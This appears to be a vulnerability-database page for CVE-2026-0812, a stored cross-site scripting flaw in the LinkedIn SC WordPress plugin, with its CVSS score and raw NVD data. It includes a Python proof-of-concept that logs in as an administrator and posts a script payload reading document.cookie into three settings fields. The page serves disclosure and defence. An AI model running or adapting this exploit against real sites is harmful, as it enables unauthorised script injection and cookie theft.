Security Vulnerability Report
中文
CVE-2026-0812 CVSS 4.4 MEDIUM

CVE-2026-0812

Published: 2026-01-14 07:16:16
Last Modified: 2026-04-15 00:35:42

Description

The LinkedIn SC plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'linkedin_sc_date_format', 'linkedin_sc_api_key', and 'linkedin_sc_secret_key' parameters in all versions up to, and including, 1.1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the injected page.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

LinkedIn SC WordPress插件 <= 1.1.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests from bs4 import BeautifulSoup # CVE-2026-0812 PoC - LinkedIn SC Plugin Stored XSS # Target: WordPress with LinkedIn SC Plugin <= 1.1.9 target_url = "http://target-wordpress-site.com" admin_path = "/wp-admin/admin.php?page=linkedin_sc_settings" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" # Authenticate as administrator session = requests.Session() login_data = { 'log': 'admin_username', 'pwd': 'admin_password', 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } # Login to WordPress admin session.post(f"{target_url}/wp-login.php", data=login_data) # XSS injection via linkedin_sc_date_format parameter vulnerable_params = { 'linkedin_sc_date_format': xss_payload, 'linkedin_sc_api_key': xss_payload, 'linkedin_sc_secret_key': xss_payload, 'submit': 'Save Changes' } # Send payload response = session.post( f"{target_url}{admin_path}", data=vulnerable_params ) print("XSS payload sent. Payload will execute when admin visits settings page.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0812", "sourceIdentifier": "[email protected]", "published": "2026-01-14T07:16:15.843", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LinkedIn SC plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'linkedin_sc_date_format', 'linkedin_sc_api_key', and 'linkedin_sc_secret_key' parameters in all versions up to, and including, 1.1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the injected page."}, {"lang": "es", "value": "El plugin LinkedIn SC para WordPress es vulnerable a cross-site scripting almacenado a través de los parámetros 'linkedin_sc_date_format', 'linkedin_sc_api_key' y 'linkedin_sc_secret_key' en todas las versiones hasta la 1.1.9, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel de administrador y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a la página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/linkedin-sc/tags/1.1.9/linkedin-sc.php#L164", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/linkedin-sc/trunk/linkedin-sc.php#L164", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1c4fd888-aeaf-4451-a151-8f884bc22f0b?source=cve", "source": "[email protected]"}]}}